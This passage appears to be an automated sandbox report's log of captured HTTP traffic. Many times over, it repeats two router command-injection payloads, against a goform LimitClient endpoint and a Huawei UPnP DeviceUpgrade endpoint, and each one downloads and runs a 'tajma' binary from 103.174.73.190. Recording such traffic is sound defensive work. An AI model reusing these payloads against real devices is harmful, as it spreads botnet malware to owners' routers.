Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 